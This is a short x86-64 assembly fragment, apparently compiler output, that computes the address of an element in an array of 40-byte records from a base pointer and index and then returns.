mov eax, edx
lea rcx, [rax + rax*4]
lea rax, [r10 + rcx*8]
ret